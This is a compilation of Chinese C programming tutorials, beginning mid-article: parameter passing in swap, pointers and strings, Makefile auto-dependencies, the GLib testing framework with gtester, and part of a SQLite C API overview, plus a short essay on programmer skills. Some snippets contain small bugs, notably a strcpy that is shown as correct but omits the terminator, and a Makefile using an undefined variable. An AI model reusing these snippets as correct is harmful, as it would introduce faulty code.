a=1, b=2
a=1, b=2
没有交换

并没有完成交换，因为在传参调用中，main调用swap时候，将实参a, b的值分别拷贝给形参x, y，然后a, b就不再和swap有关了，swap交换的是x, y的值，但是x, y的作用域只在swap中，他们确实完成了交换，但是swap结束之后，x, y的值也就随之销毁了，所以根本不会对行参有任何影响，当然就不会实现实参的交换

传址调用

再给出一个类似的例子

#include<stdio.h>
void swap(int *x, int *y)
{
    int tmp = *x;
    *x = *y;
    *y = tmp;
}
int main(void)
{
    int a = 1, b = 2;
    printf("a=%d, b=%d\n", a, b);
    swap(&a, &b);
    printf("a=%d, b=%d\n", a, b);
    return 0;
}


输出结果是
a=1, b=2
a=2, b=1
完成了交换。

原因是这样的，传址调用实际上还是实参到形参的拷贝，不过这次实参是要交换的两个数字的指针（即地地址），而不是要交换的两个数本身，虽然形参在swap结束后被销毁，但是形参是根据要交换的两个数的地址完成交换的，所以对这两个数字产生影响，也就完成交换

引用调用

注意这个语法在C++里合法，但是在C里面是没有的

#include<stdio.h>
void swap(int &x, int &y)
{
    int tmp = x;
    x = y;
    y = tmp;
}
int main(void)
{
    int a = 1, b = 2;
    printf("a=%d, b=%d\n", a, b);
    swap(a, b);
    printf("a=%d, b=%d\n", a, b);
    return 0;
}


注意：这段代码如果用gcc编译会报错，因为引用调用在C里面不合法，要用g++进行编译

输出结果是
a=1, b=2
a=2, b=1
完成了交换

可以看到实现了两个数字的交换，但是这里的语法和上面的两种都不一样，这里并没有实参到形参的拷贝，而是直接将main里面的a, b传到swap里面，所以当然交换的就是a, b的值。

上面对int类型参数进行const传递只是为了演示其功能。

对于内部数据类型的输入参数，不要将“值传递”的方式改为“const 引用传递”。否则既达不到提高效率的目的，又降低了函数的可理解性。例如void Func(int x) 不应该改为void Func(const int &x)。

只是建议在传结构体或类对象的时候使用const 参数。


 C语言中的指针和字符串

作者：wangdai

来源： C语言中的指针和字符串



                    
前言


务必理解指针与内存模型，不要死记硬背。


内存里的字符串


C语言中的字符串一般是char *类型的，这是怎样存在内存中的呢？


cchar *s = "NIHAO";

|     s:400     |
|---|---|---|---|

|'N'|'I'|'H'|'A'|'O'| 0 |
|---|---|---|---|---|---|
|400|401|402|403|404|405|



如是上图，假设字母A处于内存的第400号格子，那么后面几个字母也是紧跟着的。

变量s本身并没有储存字符串，而存的是字符串的首地址400。也即，s指向这个字符串。


为什么没有专门一个字符串的类型而是要靠一个指针指向它呢？因为字符串的长度是不固定的，所以一个字符串还包含着长度信息，基本类型是无法处理数据结构的。


我们都知道字符串是以0结尾的，而且这个更像是一种约定，C编译器本身并没有对此做任何保证。比如这样


cchar s[3] = "asd";
puts(s); /* prints "asd" or something longer */



这样做是危险的，因为s只有3个格子，字符串结尾的0并没有放进去。如果在它后面的内存格子并不是0，那打印这个字符串时就跟我们预期的不一样了。


字符串常量不可写


c"abc"[0] = 'z'; /* wrong */

char *s = "abc";
s[0] = 'z'; /* wrong */

char s[5] = "abc";
s[0] = 'z' /* right */



当指针s指向的是字符串常量（即直接写在程序里面的字符串时），要注意它是不可写的

为啥用数组就没问题呢，因为数组的初始化和指针有点区别


cchar s[5] = "abc";
/* 相当于 */
char s[5];
strcpy(s, "abc");



如果担心自己会不小心写错，可以加上const关键字，这样编译的时候就会报错

这是一个好习惯，接下来的示例程序中都会这么写。


cconst char *s = "abc";
s[0] = 'z'; /* causes a compiling error instead of runtime error */



指针是要初始化才能使用的


c/* wrong */
char *s;
s[0];



上面的程序编译是能过的（可能有warning），但运行是一定会出错的，因为编译器并不知道s指向哪些格子。


c/* right */
const char *s = "NIHAO";
s[0];



这样，其实是隐式的分配了6个格子（包括字符串结尾的0），并让s指向它们


c/* right */
char s[6];
s[0];



c/* right */
char s[6] = "NIHAO";
s[0];



数组其实跟指针没什么区别，主要的区别是它在声明的时候就分配好了格子（方括号里的6就是告诉编译器给我6个格子），而且数组不能改变它的指向（也不能再要更多的格子）。


为什么不能用等号来比较字符串？


比较字符串


cconst char *s = "abcd";
const char *t = "abcd";
/* wrong */
if (s == t) {
    ...
}
/* right */
if (!strcmp(s, t)) {
    ...
}



因为s和t都没有存字符串的内容，它们存的是字符串的地址，如果用==比较，比较的是两个字符串的地址是否相同。我们希望比较的是内容是否相同。


请使用C语言库函数中的strcmp比较字符串是否相等


复制字符串


c/* tries to copy a string */
char s[5] = "abcd";
char *t = s;
t[3] = 'z';
puts(s); /* puts "abcz" */



上面这种做法让t和s指向同一字符串，修改t指向的内容，会发现s指向的内容也被修改了。这种做法没有错，经常会用到，但不一定是你想要的。


c/* wrong */
char *s = "abcd";
char *t; /* not initialized */
strcpy(t, s);



c/* right */
char *s = "abcd";
char t[10] = {0}; /* or char *t = (char *) malloc(5*sizeof(char)); */
strcpy(t, s);



使用strcpy复制字符串的内容而不是指针，但也要注意初始化t这个指针


怎样让函数得到一个字符串结果


int，float之类的很简单直接return就好

但现在我想写一个函数，它能够得到一个字符串


三种错误的或者不太好的做法


c/* no problem, but meaningless */
const char *f()
{
    const char *s = "abcd";
    return s;
}

/* wrong */
char *f()
{
    char s[100];
    /* do something with s */
    return s;
}

/* result correct but not good */
char *f()
{
    int n = 10;
    char *s = (char *) malloc(n*sizeof(char));
    /* do something with s */
    return s;
}



第一种情况就不说了，返回一个字符串常量并没有问题因为它不可修改，但是不可修改也就没什么意义了。


第二种情况是完全错误的，返回一个局部的数组。这个数组的内存会在函数调用完后被收回，因此返回的指针指向的时候没有意义的地方。现代编译器一般都会对这个有warning。


第三种情况是返回malloc的指针。这种情况你可以得到正确的答案，但是不推荐，调用这个函数的人很有可能



	不知道函数里面分配过内存

	不知道应该什么时候free这部分内存

	忘了free这部分内存



一旦没有注意，多次调用这个函数，结果就是内存溢出，这样的错误还非常不好排查，所以不推荐


正确的做法


正确的做法是把分配内存这种事情放在函数外面做，正如strcpy一样


cchar *strcpy(char *dest, const char *src)
{
    int i;
    for (i = 0; i < strlen(src); i++) {
        dest[i] = src[i];
    }
    return dest;
}



dest是我们想要返回的字符串，它是从外面传进来的原因是我们不想在函数内部为它分配内存，而是在外面分配好了，里面只对这个字符串进行修改。


注意这里返回了char *但其实返回的正是原本传进来的dest，这里只是为了方便而已。


 请不要说自己是 Java 程序员

作者：Yunba云巴

来源： 请不要说自己是 Java 程序员



                    
几年前 Reddit 上有个关于招聘的笑话：



  面试官问：你用过 Python 或者 Django 吗？

  答：我三周前去过动物园，这个算吗？

  面试官：你被雇佣了。




一周后，这位应聘者用 Django 给他们的产品写了一个在线论坛。

英文的玩笑，用中文看有点不太容易懂。它的意思就是一个关于 Python（蟒蛇）经验只有三周前去过一次动物园的程序员，只要他足够的好，他也可以用一周的时间，基于 Python/Django 完成一个在线论坛。


经常在网上看到各种标题为“Java程序员”、“PHP程序员”、“C/C++程序员”的招聘帖子，但我感觉这种招聘方式，很难找到好的人才。语言只是一种工具，对一个聪明的程序员来说，用没用过什么工具主要是由他原来的工作需要决定，并不能代表他全部的技能。


另外，一个软件产品往往涉及很多方面的知识，比如网络、数据库、Cache、编译环境工具等。如果这些必要基础知识不足，很难很好的独立完成一个产品的某个部分。


另一方面，一个人的聪明程度、对新知识的好奇心、自我驱动意识、为问题找到最佳解决方案的决心，才是他能不能成为一个好程序员的关键。举个例子，我在担任 JPush CTO 的时候，有位同事本来是服务器端以 C 语言为主做开发的，完全没有过 iOS 开发经验，但他表现出对 iOS 开发很有兴趣，并且在做服务器端开发时，表现出良好的学习能力，后来我把他调到 iOS 组，负责 iOS SDK 和 APNs 相关的工作，结果只花了几个星期，iOS SDK 的稳定性大幅提升，解决了多个致命问题。


我经常在团队里强调，不要把自己定位为某种语言的程序员，说自己是 Java 程序员，C 程序员，Python 程序员等等。一方面会限制自己的发展，一方面对团队整体的能力提升也不利。几乎所有的语言都有它自己的适用场景，在合适的地方用合适的语言，才能极大的提升生产效率。


正确的做法是，首先要有良好的基础知识，深刻的掌握2～3门语言，然后适用于不同场景的语言要了解概念。基础知识包括各种计算机原理、数据方面的知识，在学校没认真学的，现在有时间也要补充。语言方面比如掌握了 C/Java，那 C++/Python/Bash/Javascript/CSS等都可以了解下概念，至少要理解在一个完整的产品链里，它们分别适用于哪个环节。


标题用“请不要说自己是 Java 程序员”没有贬低 Java 程序员的意思，Java 是目前被采用得最多的语言，主要用 Java 的程序员里，也是有大量牛人。另外，同样的，也不要说自己是 C 程序员、Python 程序员。


之所以用 Java 作为标题，一是现在以 Java 语言为主的工作非常之多，另外在学校里就以学习 Java 为主的人也越来越多。但我发现，从学校就以学习 Java 这种高级语言为主的人，很多基础知识比较薄弱。高级语言掩盖了太多细节，提高了生产力，但在学习阶段，却不利于基础知识累积。


软件行业是一个非常强调人的价值的行业，价值就体现在有效的推动产品前进，而语言只是实现这个价值的工具。


作者

张虎

weibo: @Tiger_张虎， 云巴 (yunba.io) 创始人，yunba.io 云后端服务。 JPush 创始人，原CTO。 Oracle VM 创始团队成员。
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以下要说的显然是C语言的项目。


当然可以考虑用其他工具替代make，比如SCons和CMake，或者auto tools什么的，但很多时候手写Makefile还是非常干净利索，爽快好用的，尤其在项目比较小的时候。


规模一旦扩大，确实写Makefile就有点费劲了。比较突出的一个问题是对头文件的依赖。make自己是没有办法处理的，必须要借助编译器。


以下会列举三种常见的Makefile写法。后两种处理了对头文件的依赖，推荐使用最后一种。


项目结构


说下演示用的项目，只包含三个代码文件，结构如下：


.
├── bar.c
├── bar.h
├── foo.c
└── Makefile



bar.h


#ifndef _BAR_H_
#define _BAR_H_

void bar(void);

#endif



bar.c


#include <stdio.h>

void bar(void)
{
    printf("bar!\n");
}



foo.c


#include <stdio.h>
#include "bar.h"

int main()
{
    printf("foo -> ");
    bar();
    return 0;
}



1. 不考虑头文件依赖的Makefile


如果不处理对头文件的依赖，可以写出类似下面这样的“万能Makefile”，做做小东西无往不利。

缺陷是头文件修改了以后不能自动重新编译，需要不断make clean && make。


TARGET := foo
CC := gcc
LDLIBS := -lm

SRCS := $(wildcard *.c)
OBJS := $(SRCS:.c=.o)

.PHONY: all clean

all: $(TARGET)

$(TARGET): $(OBJ)

clean:
    rm -f $(OBJ) $(TARGET)



2. gcc + sed


这是一种应该抛弃的方案，详细的步骤分解可以看这篇文章：Autodependencies with GNU make。


简要概括下，就是利用gcc的选项-M或-MM，来生成依赖文件。（-M包括对系统头文件的依赖，-MM不包括。下面要说的-MD和-MMD也是一样的关系。）生成的依赖文件还需要用脚本做一些修改，以保证后期修改了代码之后，依赖文件能够重新生成。


烦人的地方就是用脚本修改依赖文件，有这样改的：


%.o: %.c
    gcc -c $(CFLAGS) $*.c -o $*.o
    gcc -MM $(CFLAGS) $*.c > $*.d
    @cp -f $*.d $*.d.tmp
    @sed -e 's/.*://' -e 's/\\$$//' < $*.d.tmp | fmt -1 | \
      sed -e 's/^ *//' -e 's/$$/:/' >> $*.d
    @rm -f $*.d.tmp



也有这样改的：


%.d: %.c
    @set -e; rm -f $@; \
    $(CC) -M $(CPPFLAGS) $< > $@.$$$$; \
    sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $@.$$$$ > $@; \
    rm -f $@.$$$$



需要抛弃的原因不言而喻。。。


3. MMD萌萌的


目前最好的方案，是利用gcc的选项-MMD来自动生成依赖文件。这个早该普及的方法其实没那么多人知道，经常见到有人在死记sed命令。其实gcc早就提供更好的方式了。只要加上萌萌的-MMD选项，会在编译的过程中顺便生成依赖文件。没有手动修改依赖文件的必要，依赖文件总能正确地重新生成。


就是像下面这样写：


TARGET := foo
CC := gcc
LDLIBS := -lm
CFLAGS := -MMD -MP

SRCS := $(wildcard *.c)
OBJS := $(SRCS:.c=.o)
DEPS := $(SRCS:.c=.d)

.PHONY: all clean

all: $(TARGET)

$(TARGET): $(OBJS)

-include $(DEPS)

clean:
    rm -f $(OBJS) $(DEPS) $(TARGET)



可以和前面的“万能Makefile”对比一下：





只是简单添加了几行。要注意-include $(DEPS)不能放在all规则之前，all必须是第一个规则嘛。


还有要提一下的是选项-MP，它的作用是为头文件生成这样的依赖规则：


bar.h:



空的，没有依赖，没有动作，但并不是没有作用。如果没有这个规则，万一误删了bar.h，或者改名了，而foo.c忘了改，make会这样提示：





勉强能接受？可要是加上-MP选项，提前生成了上面那个空的规则，make会继续执行，然后让编译器给出更准确的错误信息：





所以没事还是把-MP加上吧。。。


本文同步自：http://suosuopuo.com/2015/01/01/makefile-dependencies/


 理解 GLib 的单元测试框架

作者：garfileo

来源： 理解 GLib 的单元测试框架



                    
单元测试

单元测试，那些似乎从来都不怎么有用的软件工程教科书里有关于它的确切定义。在本文中，只是将其视为检验某个函数是否正确的一种手段。可将单元测试想象为质检员，将要检验的函数想象为待出厂的零件。

例如，我想检验我实现的双向链表容器 PmList 的 pm_list_append 函数，我可以为它写一个测试程序：

#include <stdio.h>
#include <stdlib.h>
#include <pmlist.h>

static void
pm_test_list_append(void)
{
        size_t N = 10;
        int numbers[N];
        PmList *list = pm_list_alloc();
        for (int i = 0; i < N; i++) {
                numbers[i] = i;
                pm_list_append(list, numbers + i);
        }
        
        int *_numbers = numbers;
        pm_list_foreach(list, it) {
                int *i = it->data;
                if (*i != *(_numbers++)) {
                        printf("** Error **: pm_list_append() error!\n");
                        abort();
                }
        }
        if (pm_list_size(list) != N) {
                printf("** Error **: pm_list_append() error!\n");
                abort();
        }

        pm_list_free(list);
}

int
main(void)
{
        pm_test_list_append();
        return 0;
}

这个测试程序的思路很简单，就是将一个长度为 10 的整型数组中每个数据对应的内存地址存储到 PmList 容器中，然后遍历 PmList，将每个结点中存储的数据还原为正确类型的指针，然后再比较一下指针所指向的数据是否就是数组中的数据，最后验证一下 PmList 的长度是否与数组相等。

单元测试不仅仅用于测试某个函数的正确性，它还可以作为回归测试的基础。所谓回归测试，就是说每当我们对现有的代码作了修改，那么便需要重新进行单元测试，以确定我们所作的修改没有引入新的错误。

单元测试框架

上一节的示例程序虽然是一个单元测试程序，但是它非常初级，主要表现在三个方面：


	缺乏适度的规范


	易造成代码冗余


	自动化程度偏低




缺乏适度的规范会导致测试程序在编写过程中充满了随意性。例如下面的代码片段：

if (pm_list_size(list) != N) {
        printf("** Error **: pm_list_append() error!\n");
        abort();
}

同样的功能，可能每个人写出来的代码也不尽相同。例如我经常写成：

if (pm_list_size(list) != N) {
        printf ("** Error **: pm_list_append() error!\n");
        exit(-1);
}

也可能有人只需要输出错误信息，而不想让测试程序中断，他可能会写出下面的代码：

if (pm_list_size(list) != N) {
        printf ("** Error **: pm_list_append() error!\n");
        return;
}

虽然这种随意性虽然对于单元测试程序的功能方面没有影响，但是风格迥异的源码可能会让单元测试程序的维护者有些抓狂。

易造成代码冗余主要是因为测试代码中存在较多的重复部分。例如下面这样的代码片段：

if (*i != *(_numbers++)) {
        printf("** Error **: pm_list_append() error!\n");
        abort();
}

if (pm_list_size(list) != N) {
        printf("** Error **: pm_list_append() error!\n");
        abort();
}

只需定义一个宏或者函数便可以大幅削减此类代码。例如定义一个 my_assert_cmp_int 宏：

#define my_assert_cmp_int(n1, cmp, n2, func_name) \
        do { int __n1 = (n1), __n2 = (n2); \
             char *__func_name = (func_name); \
             if (__n1 cmp __n2) ; \
             else {\
                     printf ("** Error **: %s error!\n", __func_name); \
                     abort ();
        } while (0)

使用这个宏，便可以轻易的将上面的测试代码削减为：

my_assert_cmp_int(*i,  ==, *(_numbers++), "pm_list_append");

my_assert_cmp_int(pm_list_size(list),  ==, N, "pm_list_append");

自动化程度低是指前文中 PmList 单元测试这样的程序，在运行过程中不具备忽略出错的测试函数的能力。单元测试程序如果能够忽略出错的测试函数，这意味着我们可以使用它对模块形成一个完整的测试过程。也就是说，即便在单元测试中遇到了故障，我们依然希望测试程序能够继续完成后续的测试任务。例如，PmList 单元测试程序包含了下面的代码片段：

if (pm_list_size(list) != INT_ARRAY_SIZE) {
    printf("** Error **: pm_list_append() error!\n");
    abort();
}

如果 pm_list_append 函数的实现存在错误的话，很可能会导致上述代码中的 if 语句生效，从而导致测试程序终止。如果单元测试程序中包含着上百个测试函数，我们可能不希望第 1 个测试函数出错而导致后面的测试函数没有机会运行。

由于初级的单元测试方法太弱了，所以单元测试框架便应运而生。它的使命是致力实现单元测试的规范化与自动化，并消减单元测试代码冗余。

自行实现一个单元测试框架并不是很难，但是现在单元测试框架的轮子已经足够多了，我们没有必要再去造一个。对于 C 语言程序的单元测试而言，可以选用 Check 库[1]、CUnit 库[2]或者 GLib 库所包含的一个单元测试框架（Testing 模块）。由于我们的项目原本就依赖 GLib，所以就别无二话的用上了 GLib 的 Testing。

GLib 测试框架

有关 GLib 测试框架的参考手册见文档[3]。文档[4-6]是我能找到的最详尽的 GLib 测试框架使用说明。

GLib 测试框架主要包含三个概念：


	测试案例（Test Case）：由测试函数与夹具（Fixture）构成。


	夹具（估计是从机械领域引入的概念，被测的函数被视为零件）：为测试函数准备数据，并负责测试环境的构建与销毁。


	测试集（Test Suit）：由测试案例构成的集合。




下面，我们基于 GLib 测试框架改写前文中的 PmList 单元测试程序，详见以下代码：

#include <glib.h>
#include <pmlist.h>

static void
pm_test_list_append(void)
{
        gsize N = 10;
        gint numbers[N];
        PmList *list = pm_list_alloc();
        for (gint i = 0; i < N; i++) {
                numbers[i] = i;
                pm_list_append(list, numbers + i);
        }
        
        int *_numbers = numbers;
        pm_list_foreach(list, it) {
                gint *i = it->data;
                g_assert_cmpint(*i, ==, *(_numbers++));
        }
        g_assert_cmpint(pm_list_size(list), ==, N);
        
        pm_list_free(list);
}

int
main(int argc, char **argv)
{
        g_test_init(&argc, &argv, NULL);
        g_test_add_func("/PmList/pm_list_append", pm_test_list_append);
        
        return g_test_run();
}

可以看出，除了头文件有所变动之外，我们对 main 函数和 pm_test_list_append 函数均作了一些改动。对 main 函数所做的修改主要是添加了以下代码：

        g_test_init(&argc, &argv, NULL);
        g_test_add_func("/PmList/pm_list_append", pm_test_list_append);

        return g_test_run();

g_test_init 函数从 main 函数的命令行参数集合中截获 GLib 测试框架感兴趣的参数，并完成单元测试框架的初始化。

g_test_add_func 函数可以一起呵成的建立测试集与测试案例。我们向 g_gest_add_func 函数提供的第一个参数是测试路径 /PmList/pm_list_append，用于指示 g_gest_add_func 函数去创建测试集 PmList 和测试案例 pm_list_append；第二个参数是测试函数，例如 pm_test_list_append 函数。

如果 PmList 模块包含着许多测试案例，那么我们可以使用 g_test_add_func 函数将它们陆续添加至 PmList 中，例如：

        g_test_add_func("/PmList/pm_list_append", pm_test_list_append);
        g_test_add_func("/PmList/pm_list_insert", pm_test_list_insert);
        g_test_add_func("/PmList/pm_list_prepend", pm_test_list_prepend);
        ... ...

当测试集与测试案例构建完毕后，便可使用 g_test_run 函数运行测试集合中的所有测试案例。由于 g_test_run 函数是单元测试程序中最后执行的函数，所以它的返回值可直接作为 main 函数的返回值。

GLib 测试框架除了提供单元测试核心概念（测试集、夹具、测试案例等）的实现，也提供了一些测试宏，类似我们在前文中定义的 my_assert_cmp_int 这样的宏。我们使用这些宏替换了原先的 if 测试语句，例如将

        if (pm_list_size(list) != N) {
                printf("** Error **: pm_list_append () error!\n");
                abort();
        }

替换为：

        g_assert_cmpint(pm_list_size(list), ==, N);

然后在 Bash Shell 中执行以下命令完成 PmList 模块以及测试程序的编译：

# 编译 PmList 模块，生成 libpmbase 库
$ libtool --tag=CC --mode=compile gcc `pkg-config --cflags glib-2.0` -c pmlist.c
$ libtool --tag=CC --mode=link gcc `pkg-config --libs glib-2.0` pmlist.lo -rpath /usr/local/lib -o libpmbase.la

# 编译单元测试程序
$ libtool --tag=CC --mode=compile gcc -I./ `pkg-config --cflags glib-2.0` -std=c99 -c test.c
$ libtool --tag=CC --mode=link gcc libpmbase.la test.lo -o test

如果你和我一样雅量，用的是 Fish Shell，那么上述命令需要变换为：

# 编译 PmList 模块，生成 libpmbase 库
$ eval libtool --tag=CC --mode=compile gcc (pkg-config --cflags glib-2.0) -c pmlist.c
$ eval libtool --tag=CC --mode=link gcc (pkg-config --libs glib-2.0) pmlist.lo -rpath /usr/local/lib -o libpm.la

# 编译单元测试程序
$ eval libtool --tag=CC --mode=compile gcc -I./ (pkg-config --cflags glib-2.0) -std=c99 -c test.c
$ libtool --tag=CC --mode=link gcc libpm.la test.lo -o test

请原谅，为了方便，我使用了 libtool 来生成库文件。有时间的话我会单独介绍一下 libtool 的用法。如果现在就想了解一下 libtool，可阅读『使用 GNU Libtool 创建库』一文。



现在，可进行单元测试了，如下：

$ ./test
/PmList/pm_list_append: OK

运气不错，我们所创建的测试集 PmList 之中的测试案例 pm_list_append 通过了测试！

gtester

下面，我们增加一个有点恶搞的测试案例 ，改动后的 test.c 文件内容如下：

#include <glib.h>
#include <pmlist.h>

static void
pm_test_list_append(void)
{
    size_t N = 10;
    int numbers[N];
    PmList *list = pm_list_alloc();
    for (int i = 0; i < N; i++) {
        numbers[i] = i;
        pm_list_append(list, numbers + i);
    }

    int *_numbers = numbers;
    pm_list_foreach(list, it) {
        int *i = it->data;
        g_assert_cmpint(*i, ==, *(_numbers++));
    }
    g_assert_cmpint(pm_list_size(list), ==, N);

    pm_list_free(list);
}

static void
pm_test_list_blabla (void)
{
        g_assert (0 == 1);
}

int
main(int argc, char **argv)
{
        g_test_init(&argc, &argv, NULL);
        
        g_test_add_func ("/PmList/pm_list_blabla", pm_test_list_blabla);
        g_test_add_func("/PmList/pm_list_append", pm_test_list_append);

        return g_test_run();
}

新添加的测试案例为 pm_list_blabla。之所以说它是恶搞，因为它企图测试 0 == 1 是否成立，显然，这会导致单元测试程序崩溃。由于这个恶搞的 pm_test_list_blabla 案例先于那个严肃的 pm_list_append 案例，这意味着 g_test_run 函数在运行时会先测试前者，然后再测试后者。由于 pm_test_list_blabla 肯定会导致单元测试程序终止，所以 pm_list_apppend 案例永远也不会被测试。为了验证这一点，我们需要重新构建并运行 test 程序：

$ libtool --tag=CC --mode=compile gcc -I./ `pkg-config --cflags glib-2.0` -c test.c
$ libtool --tag=CC --mode=link gcc libpmbase.la test.lo -o test
$ ./test
/PmList/pm_list_blabla: **
ERROR:test.c:9:pm_test_list_blabla: assertion failed: (0 == 1)
Aborted

结果在预料之中！不过， GLib 测试框架提供了 gtester 工具。使用这个工具去调用测试程序，便可以穿越那个恶搞的 pm_test_list_blabla 案例，抵达 pm_test_list_append。

gtester 的基本用法如下：

$ gtester ./test
TEST: ./test... (pid=8540)
**
ERROR:test.c:9:pm_test_list_blabla: assertion failed: (0 == 1)
GTester: last random seed: R02S94ea3ce4db54c6089021182eccf3561d
Terminated

观察上面命令的输出，虽然内容较直接运行 test 程序多了一些，但是依然未能穿越 pm_test_list_blabla 案例。因为我们没有用 -k 参数（--keep-going），加上这个参数，结果便会有变化：

$ gtester -k ./test
TEST: ./test... (pid=9686)
**
ERROR:test.c:32:pm_test_list_blabla: assertion failed (0 == 1): (0 == 1)
GTester: last random seed: R02S23c16f6c96bc24fb35095b61a758318a
(pid=9700)
FAIL: ./test

事实上，加上 -k 之后的 gtester 可以彻底的完成 test 程序中的所有测试案例，但是它的输出信息中只报告出错的案例。如果我们再添加 --verbose 参数，那么无论是出错的案例还是通过测试的案例皆可尽收眼底，如下：

$ gtester -k --verbose ./test
TEST: ./test... (pid=9730)
  /PmList/pm_list_blabla:                                              **
ERROR:test.c:32:pm_test_list_blabla: assertion failed (0 == 1): (0 == 1)
FAIL
GTester: last random seed: R02S08db1018cb6f0f04651da9869a610b65
(pid=9744)
  /PmList/pm_list_append:                                              OK
FAIL: ./test

如果你不习惯测试程序在终端中输出的测试结果，可能你认为那样过于原始，那么可以考虑向 gtester 工具提供像 -o=filename.xml 这样的参数，指示 gtester 工具将测试结果以 XML 格式写入 filename.xml 文件中，然后使用 gtester-report 工具将 filename.xml 文件转换为 filename.html 文件。例如：

$ gtester -k -o=test.xml ./test
$ gtester-report test.xml > test.html

使用 Web 浏览器打开 test.html 文件，

$ firefox test.html

就会看到类似下图所示的页面。



注意：事实上，在使用 gtester-report 时，它会出错。原因与修正方法见：https://bugs.launchpad.net/ubuntu/+source/glib2.0/+bug/1036260



秘密

可能你会有问，GLib 测试框架是如何做到穿越出错的测试案例的？

答案需要在 GLib 的源代码中寻找，如果你为不愿为此耗费气力，那么我大致说一下我对这个问题的理解。

像 g_test_add_func 这样的函数，它除了创建测试集和测试案例之外，还负责将测试案例添加到一个全局的链表中，这个链表的每个结点都表示一个测试案例。

当我们开启 gtester 工具的 -k 参数时，gtester 便会采用这样的策略运行测试程序：遍历测试案例链表，逐一运行测试案例，如果遇到无法通过测试的案例（这也意味着当前的测试程序会被操作系统终止），gtester 会将该案例所在的链表结点标记为忽略，并将链表信息保存在硬盘上，然后 gtester 会再次重启测试程序，并将上次测试无法通过的案例告诉 GLib 测试框架，让它从那个案例之后的案例开始测试。

夹具

GLib 测试框架的三个概念：测试集、测试案例和夹具，其中前两者在均已现身，唯独夹具似乎深不可测，它做什么用？

在 PmList 单元测试程序中包含着许多测试案例，其中每个案例的测试函数都需要一个确定的 PmList 容器实例（例如前文中存储整型指针的 PmList 容器实例）的支持方可进行测试。当我们将一个确定的 PmList 类型实例赋予某个测试函数之时，这便意味着是对这个测试函数的运行环境进行了固化，这就是夹具。

GLib 测试模块提供了定义夹具的功能。下面我们继续对 test.c 文件进行改造，为其添加一个夹具，修改后的 test.c 内容如下：

#include <glib.h>
#include <pmlist.h>

typedef struct {
        PmList *list;
        int *numbers;
        int N;
} MyFixture;

static void
my_fixture_set_up(MyFixture *fixture, const void *user_data)
{
        fixture->N = 10;
        fixture->list = pm_list_alloc();
        fixture->numbers = g_slice_alloc(fixture->N * sizeof(int));
        for (int i = 0; i < fixture->N; i++) {
                fixture->numbers[i] = i;
                pm_list_append(fixture->list, fixture->numbers + i);
        }
}

static void
my_fixture_tear_down(MyFixture *fixture, const void *user_data)
{
        g_slice_free1(fixture->N * sizeof(int), fixture->numbers);
        pm_list_free(fixture->list);
}

static void
pm_test_list_append(MyFixture *fixture, const void *user_data)
{
        int *_numbers = fixture->numbers;
        pm_list_foreach(fixture->list, it) {
                int *i = it->data;
                g_assert_cmpint(*i, ==, *(_numbers++));
        }
        g_assert_cmpint(pm_list_size(fixture->list), ==, fixture->N);
}

int
main(int argc, char **argv)
{
        g_test_init(&argc, &argv, NULL);
        
        g_test_add("/PmList/pm_list_append",
                   MyFixture,
                   "用户数据，若没有，就是 NULL",
                   my_fixture_set_up,
                   pm_test_list_append,
                   my_fixture_tear_down);

        return g_test_run();
}

就是将 PmList 封装到自己定义的 MyFixture 结构中，然后为 MyFixture 结构提供构造函数 my_fixture_set_up 以及析构函数 my_fixture_tear_down，这两个函数分别象征着夹具的安装与拆除。

从数据的角度来看，夹具与测试函数的第一个参数都是 MyFixture。像是有一根管子将 my_fixture_setup, pm_test_list_append 以及 my_fixture_tear_down 等函数连接了起来，MyFixture 在这个管子里穿过……从范畴论的角度来看，夹具是一个单子，可参考『Kleisli 范畴』一文。

哪些函数值得测试？

在这篇文章中，可怜的 pm_list_append 被我揪出来作为重点考察对象，对它进行了各种测试，这并非是我的本意。之所以要虐待它，是因为它足够简单，我不想制造太复杂的问题背景，这不过是一篇介绍 GLib 单元测试框架的基本用法的文章。

那么，在实际的项目中，有哪些函数值得测试？

这个问题，应该没有标准答案的。编程是一门技术，但也可以很艺术。我只能告诉你，让测试活动覆盖 100% 的代码肯定是无法实现的，即使你食不厌精，脍不厌细，真的去测试了一切，但是测试代码本身的正确性依然没有被测试。

示例的源码文件

源码文件下载地址：http://pan.baidu.com/s/1o6vQkhs

参考文档

[1] Check 项目

[2] Cuit 项目

[3] Glib Testing 模块的参考手册

[4] GLib 测试框架的开发者的一封邮件

[5] 然后，他写了一篇指南

[6] 有人又写了一篇简单的指南
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1、sqlite之C接口简介

1.1 sqlite3_open

int sqlite3_open (
    const char *filename,  /* Database filename (UTF-8) */ /* 数据库将采用UTF-8的编码方式，sqlite3_open16采用UTF-16的编码方式 */
    sqlite3 **ppDb         /* OUT: SQLite db handle */ /* 数据库连接对象  */
):

打开一个sqlite数据库文件的连接并且返回一个数据库连接对象。  
First: 数据库名。  
Second: 一个数据库连接句柄被返回到这个参数。  
Return: 如果执行成功，则返回SQLITE_OK，否则返回一个错误码。

1.2 sqlite3_prepare_v2

int sqlite3_prepare_v2(
  sqlite3 *db,            /* Database handle */ /* 成功打开的数据库句柄 */
  const char *zSql,       /* SQL statement, UTF-8 encoded */ /* UTF8编码的 SQL 语句 */
  int nByte,              /* Maximum length of zSql in bytes. */ /* 参数 sql 的字节数, 包含 '\0' */
  sqlite3_stmt **ppStmt,  /* OUT: Statement handle */ /* 输出:预编译语句句柄 */
  const char **pzTail     /* OUT: Pointer to unused portion of zSql */ /* 输出:指向 sql 语句中未使用的部分 */
);

这个函数将sql文本转换成一个准备语句（prepared statement）对象，同时返回这个对象的指针。  
First: 数据库连接句柄。  
Second: 将要被编译的SQL语句。  
Third: 如果nByte为负值（-1），则函数取出zSql中从开始到第一个0终止符的内容;若为正值，那么它就是这个函数能从zSql中读取的字节数的最大值;若为0,不会产生SQL语句。有一个更好的做法是:把nbytes的值设为该字符串的长度(包含'\0'), 这样可以避免 SQLite 复制该字符串的一份拷贝, 以提高程序的效率.  
Forth: 指向一个被编译的语句句柄，它可被sqlite3_step执行。执行错误或者输入的zSql为空字符，*ppStmt为NULL，用sqlite3_finalize来释放它。  
Fifth: 上面提到zSql在遇见终止符或者是达到设定的nByte之后结束，假如zSql还有剩余的内容，那么这些剩余的内容被存放到pZTail中，不包括终止符。如果 pszTail 不为 NULL, 则 pszTail 指向 sql 中第一个被传入的 SQL 语句的结尾. 该函数只编译 sql 的第一个语句, 所以 pszTail 指向的内容则是未被编译的.  
Return: 如果执行成功，则返回SQLITE_OK，否则返回一个错误码。

1.3 sqlite3_step

